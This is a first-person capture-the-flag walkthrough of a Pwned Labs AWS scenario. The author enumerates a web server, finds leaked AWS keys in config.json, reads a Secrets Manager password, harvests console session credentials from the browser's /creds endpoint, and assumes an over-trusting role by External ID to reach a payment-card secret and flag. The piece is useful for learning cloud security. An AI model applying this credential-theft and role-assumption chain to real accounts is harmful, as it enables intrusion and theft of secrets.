Initial web enumeration via Gobuster exposes a config file on an Apache web server, leaking AWS credentials for the data-bot user along with S3 bucket information. Utilizing aws-enumerator, data-bot is found to have access to AWS Secrets Manager. Exfiltrating the ext/cost-optimization secret recovers plaintext login credentials for ext-cost-user, allowing authentication to the AWS Management Console. Intercepting temporary API session tokens via the browser's Developer Tools enables CLI enumeration of ext-cost-user's IAM permissions. Analyzing the attached ExtPolicyTest policy reveals read access to the ExternalCostOpimizeAccess role. Inspecting the role's trust policy shows it can be assumed by any AWS principal matching an External ID. Privilege escalation is achieved by using the initial testing AWS account to execute aws sts assume-role with the required External ID. The assumed role grants access to the secret, successfully exfiltrating target payment card details and the final flag.
1. Scenario & Real-world context
1.1 Scenario
Huge Logistics, a global force in the logistics and shipping industry, has reached out to your firm for a comprehensive security evaluation spanning both their on-premises and cloud setups. Early reconnaissance pointed out the IP address 52.0.51.234 as part of their digital footprint. Your mission is clear: use this IP as your entry point, navigate laterally through their system, and determine potential areas of impact. This isn't just a test of their defences, but a test of your skill to find weak spots in a vast network. Time to dive in and uncover what lies beneath!
We have also found access keys for the AWS user `testing` in a public GitHub repository belonging to Huge Logistics. However, initial enumeration using this account reveals that it has no usable permissions in the environment. These credentials have been provided in the `Entry Point` section above. Maybe they can still be useful?
1.2 Real-world context
The scenario starts with an exposed configuration file on a web servers, which is a common real-world security issue. In September 2022, the HackerOne user 0r10nh4ck submitted a report to U.S. Dept Of Defense, revealing that one of their servers was exposing a `config.json` file that contained AWS credentials for their account. Using AssumeRole is conceptually similar to the sudo command on Linux, in that it enables you to delegate access to AWS resources without sharing your AWS account root, and an IAM user is given temporary credentials to perform a privileged operation. It is also possible to specify that the caller specify an External ID (similar to sudo requiring a password). External ID is a unique identifier that third parties use to assume a role in their customers' account.
2. Initial Reconnaissance & IAM Assessment
2.1 Network Scanning
After connecting to the PawnedLabs VPN, I launched an NMAP scan on the target IP to find out what ports are open and which services are running on them.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-04 23:26 -0500 Nmap scan report for 52.0.51.234 Host is up (0.26s latency). Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Huge Logistics Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Linux 4.X|2.6.X (85%) OS CPE: cpe:/o:linux:linux_kernel:4.15 cpe:/o:linux:linux_kernel:2.6.32 Aggressive OS guesses: Linux 4.15 (85%), Linux 2.6.32 (85%), Linux 4.0 - 4.4 (85%), Linux 4.19 - 5.15 (85%) No exact OS matches for host (test conditions non-ideal). OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 50.72 seconds
Based on the scan, only port 80 is open, and the Apache server version 2.4.52 is running and hosting a static website.
2.2 IAM Assessment
Since the website is a static website, I decided to enumerate the AWS credentials supplied in the lab. I was able to run aws configure to configure AWS CLI access, and by running aws sts get-caller-identity, I was able to verify access as the testing user.
{
"UserId": "AIDAWHEOTHRF6HVELNEF5",
"Account": "427648302155",
"Arn": "arn:aws:iam::427648302155:user/testing"
}
The user testing does not have privileges to enumerate any groups or policies, and all enumeration attempts received an AccessDenied exception.
aws iam list-attached-user-policies --user-name testing aws iam list-user-policies --user-name testing aws iam list-groups-for-user --user-name testing
3. Web Enumeration
I decided to run a directory scan against the target IP to find any hidden directory paths or files.
=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://52.0.51.234 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Extensions: txt,json,html,config,phtml,yml,php,env,md [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== index.html (Status: 200) [Size: 18312] img (Status: 301) [Size: 308] [--> http://52.0.51.234/img/] css (Status: 301) [Size: 308] [--> http://52.0.51.234/css/] js (Status: 301) [Size: 307] [--> http://52.0.51.234/js/] vendor (Status: 301) [Size: 311] [--> http://52.0.51.234/vendor/] config.json (Status: 200) [Size: 832]
Based on the scan result, there is an exposed configuration file. I was able to find another set of hardcoded AWS credentials, some bucket details and some API endpoints and routing parameters.
{"aws": {
"accessKeyID": "AKIA************AHHG",
"secretAccessKey": "chMbG******************************mRXCa",
"region": "us-east-1",
"bucket": "hl-data-download",
"endpoint": "https://s3.amazonaws.com"
},
"serverSettings": {
"port": 443,
"timeout": 18000000
},
"oauthSettings": {
"authorizationURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/authorize",
"tokenURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/tokens",
"clientID": "1012aBcD3456EfGh",
"clientSecret": "aZ2x9bY4cV6wL8kP0sT7zQ5oR3uH6j",
"callbackURL": "https://portal.huge-logistics/callback",
"userProfileURL": "https://portal.huge-logistics.com/ms_oauth/resources/userprofile/me"
}
}
4. S3 Bucket & Services Enumeration
4.1 Profile Configuration & Validation
I decided to set up a new access profile using the newfound credentials. I was able to set up the profile by running aws configure --profile web-creds.
After setting up the profile, I was able to verify the credentials as the data-bot user.
{
"UserId": "AIDAWHEOTHRF7MLFMRGYH",
"Account": "427648302155",
"Arn": "arn:aws:iam::427648302155:user/data-bot"
}
4.2 S3 Bucket Access
Similar to the testing user, this user also does not have access to enumerate any policies or roles. Based on the configuration file contents, this profile should have some form of S3 bucket access. Even though the data-bot user does not have permissions to list the S3 buckets by running aws s3 ls --profile web-creds, I was able to list the contents of the hl-data-download bucket.
2023-08-05 17:56:58 5200 LOG-1-TRANSACT.csv 2023-08-05 17:57:05 5200 LOG-10-TRANSACT.csv 2023-08-05 17:58:04 5200 LOG-100-TRANSACT.csv 2023-08-05 17:57:05 5200 LOG-11-TRANSACT.csv ........ 2023-08-05 17:58:01 5200 LOG-96-TRANSACT.csv 2023-08-05 17:58:02 5200 LOG-97-TRANSACT.csv 2023-08-05 17:58:02 5200 LOG-98-TRANSACT.csv 2023-08-05 17:58:03 5200 LOG-99-TRANSACT.csv
I was able to download the CSV files using aws s3 cp s3://hl-data-download/LOG-99-TRANSACT.csv ./LOG-99-TRANSACT.csv --profile web-creds, but I did not find anything interesting in the files.
4.3 Automated Service Enumeration
To enumerate the other services that are accessible by the user data-bot, I used aws-enumerator.
Message: File .env with AWS credentials were created in current folder
After adding the data-bot user's credentials into the .env file, I was able to launch the scan to enumerate all the AWS services.
....... Message: Successful DYNAMODB: 1 / 5 ....... Message: Successful SECRETSMANAGER: 1 / 2 ....... Message: Successful STS: 2 / 2 ....... Time: 1m17.781664994s Message: Enumeration finished
Based on the enumeration results, the data-bot user has access to Secrets Manager read or list secrets, some access to DynamoDB, and AWS STS access.
5. Secrets Manager Exploitation & Console Access
5.1 Listing & Extracting Secrets
Following the Secrets Manager access discovery, I was able to list the secrets in Secrets Manager as the data-bot user.
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-admin-Bs8G8Z",
"Name": "employee-database-admin",
"Description": "Admin access to MySQL employee database",
"LastChangedDate": "2023-07-12T14:15:38.909000-04:00",
"LastAccessedDate": "2026-11-01T19:00:00-05:00",
"Tags": [],
"SecretVersionsToStages": {
"41a82b5b-fb44-4ab3-8811-7ea171e9d3c1": [
"AWSCURRENT"
]
},
"CreatedDate": "2023-07-12T14:14:35.740000-04:00"
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-rpkQvl",
"Name": "employee-database",
"Description": "Access to MySQL employee database",
"RotationEnabled": true,
"RotationLambdaARN": "arn:aws:lambda:us-east-1:427648302155:function:SecretsManagermysql-rotation",
"RotationRules": {
"AutomaticallyAfterDays": 7,
"ScheduleExpression": "cron(0 0 ? * 2 *)"
},
"LastRotatedDate": "2026-11-01T22:18:46.215000-05:00",
"LastChangedDate": "2026-11-01T22:18:46.191000-05:00",
"LastAccessedDate": "2026-11-02T19:00:00-05:00",
"NextRotationDate": "2026-11-09T18:59:59-05:00",
"Tags": [],
"SecretVersionsToStages": {
"052f617e-f7fc-4cfa-bebe-9e550c22e652": [
"AWSCURRENT",
"AWSPENDING"
],
"c1f6d6db-eb6a-403d-b557-f96e48ae38d0": [
"AWSPREVIOUS"
]
},
"CreatedDate": "2023-07-12T14:15:02.970000-04:00"
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4",
"Name": "ext/cost-optimization",
"Description": "Allow external partner to access cost optimization user and Huge Logistics resources",
"LastChangedDate": "2023-08-06T16:10:16.392000-04:00",
"LastAccessedDate": "2026-11-03T19:00:00-05:00",
"Tags": [],
"SecretVersionsToStages": {
"f7d6ae91-5afd-4a53-93b9-92ee74d8469c": [
"AWSCURRENT"
]
},
"CreatedDate": "2023-08-04T17:19:28.466000-04:00"
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK",
"Name": "billing/hl-default-payment",
"Description": "Access to the default payment card for Huge Logistics",
"LastChangedDate": "2023-08-04T18:33:39.872000-04:00",
"LastAccessedDate": "2026-11-03T19:00:00-05:00",
"Tags": [],
"SecretVersionsToStages": {
"f8e592ca-4d8a-4a85-b7fa-7059539192c5": [
"AWSCURRENT"
]
},
"CreatedDate": "2023-08-04T18:33:39.828000-04:00"
}
]
}
User data-bot only has access to read ext/cost-optimization secret value, and all the other attempts returned an AccessDenied exception.
{
"Username": "ext-cost-user",
"Password": "K33pOurCostsOptimized!!!!"
}
5.2 AWS Management Console Authentication
Based on the aws sts get-caller-identity --profile web-creds response, the AWS Account ID is 427648302155.
Combining this with the credentials found, I was able to successfully log in to the AWS Management Console using the browser as user ext-cost-user.
6. Credential Harvesting & Policy Enumeration
6.1 Web Console Active Session Credentials
Looking around the Management Console, the ext-cost-user user's access is heavily restricted. Inspecting the Network Tab in the browser console and navigating to the IAM dashboard, I was able to harvest AWS CLI credentials from the /creds endpoint.
/creds API request specifically fires only when using a Chromium-based web browser.
6.2 CLI Profile Setup & Policy Enumeration
I was able to set up an AWS CLI access profile using the harvested credentials. Since the /creds credential access is restricted to the specific service, I will be able to enumerate only IAM, since I got these credentials by visiting the IAM dashboard.
/creds credentials are short lived.
I was able to enumerate the attached user policies and find the ExtPolicyTest user policy attached to the ext-cost-user user.
{
"AttachedPolicies": [
{
"PolicyName": "ExtPolicyTest",
"PolicyArn": "arn:aws:iam::427648302155:policy/ExtPolicyTest"
}
]
}
Enumerating the ExtPolicyTest metadata revealed that the v4 is active.
{
"Policy": {
"PolicyName": "ExtPolicyTest",
"PolicyId": "ANPAWHEOTHRF7772VGA5J",
"Arn": "arn:aws:iam::427648302155:policy/ExtPolicyTest",
"Path": "/",
"DefaultVersionId": "v4",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2023-08-04T21:47:26+00:00",
"UpdateDate": "2023-08-06T20:23:42+00:00",
"Tags": []
}
}
Querying the access scope of the active policy version revealed that it has access to the Payment policy and ExternalCostOpimizeAccess role.
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"iam:GetRole",
"iam:GetPolicyVersion",
"iam:GetPolicy",
"iam:GetUserPolicy",
"iam:ListAttachedRolePolicies",
"iam:ListAttachedUserPolicies",
"iam:GetRolePolicy"
],
"Resource": [
"arn:aws:iam::427648302155:policy/ExtPolicyTest",
"arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
"arn:aws:iam::427648302155:policy/Payment",
"arn:aws:iam::427648302155:user/ext-cost-user"
]
}
]
},
"VersionId": "v4",
"IsDefaultVersion": true,
"CreateDate": "2023-08-06T20:23:42+00:00"
}
}
6.3 Role Trust Policy & External ID
Enumerating ExternalCostOpimizeAccess role access, I found that the role can be assumed by any AWS user by directly referencing the role's external ID.
{
"Role": {
"Path": "/",
"RoleName": "ExternalCostOpimizeAccess",
"RoleId": "AROAWHEOTHRFZP3NQR7WN",
"Arn": "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
"CreateDate": "2023-08-04T21:09:30+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "37911"
}
}
}
]
},
"Description": "Allow trusted AWS cost optimization partner to access Huge Logistics resources",
"MaxSessionDuration": 3600,
"RoleLastUsed": {
"LastUsedDate": "2026-11-04T12:15:34+00:00",
"Region": "us-east-1"
}
}
}
Enumerating the policies attached to the role revealed that it has a Payment policy attached.
{
"AttachedPolicies": [
{
"PolicyName": "Payment",
"PolicyArn": "arn:aws:iam::427648302155:policy/Payment"
}
]
}
Enumerating the Payment policy metadata revealed that v2 of the policy is active.
{
"Policy": {
"PolicyName": "Payment",
"PolicyId": "ANPAWHEOTHRFZCZIMJSVW",
"Arn": "arn:aws:iam::427648302155:policy/Payment",
"Path": "/",
"DefaultVersionId": "v2",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2023-08-04T22:03:41+00:00",
"UpdateDate": "2023-08-04T22:34:19+00:00",
"Tags": []
}
}
Querying the access scope of the policy version revealed that it has access to list and view Secrets Manager secrets for secret:billing/hl-default-payment-xGmMhK.
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"secretsmanager:GetSecretValue",
"secretsmanager:DescribeSecret",
"secretsmanager:ListSecretVersionIds"
],
"Resource": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": "secretsmanager:ListSecrets",
"Resource": "*"
}
]
},
"VersionId": "v2",
"IsDefaultVersion": true,
"CreateDate": "2023-08-04T22:34:19+00:00"
}
}
7. Privilege Escalation & Flag Recovery
7.1 Role Assumption via External ID
Based on the findings, the role ExternalCostOpimizeAccess allows any AWS user to assume the role using the external ID (37911).
Since I have already configured my AWS CLI with the testing user's credentials, I will use this user to request temporary credentials to assume the role.
{
"Credentials": {
"AccessKeyId": "ASIA************4SVX",
"SecretAccessKey": "LHwV6****************************5I+liiP",
"SessionToken": "IQoJb3JpZ2luX2VjEPv//////////wEaCXVzLWVhc3QtMSJIMEYCIQDJO6JIJe2q+6nIh4VNj2wgg+GlcVYqTd1TYJwHZVUtmwIhANN89g/Ir0vAoTG/SBY96gixC/uGQcwg1ykZ5MVF8JcCKq8CCMT//////////wEQABoMNDI3NjQ4MzAyMTU1IgzXS7lMwGutVqBj9xoqgwLngbP7HfGIl6JiGjbfH2MbJ64fvO2j/7N83GhbLFuknyR1QQRhkx0CghYYjfHtvCJyT2jw1lzGCkwDak+nBC+s4nK+euzpdLqI+Ht/XHbdoTMv07uVExVqbvyU6GgBEDIqh5/DnY3H/leZJZ+OMb2NCPBvlkil0cc9yh5XDD1sYhpufbbwSzMWOoasX2suadGFiImFVYYG4Qsv/XbOtHN7QL/BOqWWxAhzPEFtiEs/e5OQReXpjqlQM0g/9FqzGcIZWoVhuY8EeRoS30zWTZ1nxyGB4F49gla5oukA7cAEWvJLQ2jNgYaKZnUJhSEMF38gytBOR2ot4Ts7ZgAKeSIHGrdMMNq+sdcGOpwB4NlboilxqCHMYyOPVb23zA7e2LZBo7V+EK/5nTXg1o5RPfb1cmU+ssWoZr7bajmlMuKnBh+Mdp/BUvAVWzNEJnPe0wIFTFoOTFi7TX10juOzTI3ozfQksFT6fOll65M5LDA33/2vro/EDXIOC9CNUSgFAfN3SkGsMVBZaBNVEIExfQgW+T2nJ8xP8PmRUtZOeQSXzFW7p90Y2j0J",
"Expiration": "2026-11-05T11:50:02+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOpimizeAccess",
"Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOpimizeAccess"
},
"PackedPolicySize": 18
}
7.2 Secret Exfiltration & Flag Extraction
STS returned temporary credentials for the ExternalCostOpimizeAccess role, and I was able to create a new access profile using the returned credentials by running aws configure --profile ExternalCostOpimizeAccessRole.
{
"UserId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOpimizeAccess",
"Account": "427648302155",
"Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOpimizeAccess"
}
After successfully verifying the AWS CLI access as ExternalCostOpimizeAccess, I was able to access the secret value and capture the flag.
{
"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK",
"Name": "billing/hl-default-payment",
"VersionId": "f8e592ca-4d8a-4a85-b7fa-7059539192c5",
"SecretString": "{\"Card Brand\":\"VISA\",\"Card Number\":\"4180-5677-2810-4227\",\"Holder Name\":\"Michael Hayes\",\"CVV/CVV2\":\"839\",\"Card Expiry\":\"5/2026\",\"Flag\":\"681**************************5ca\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2023-08-05T08:33:39.867000+10:00"
}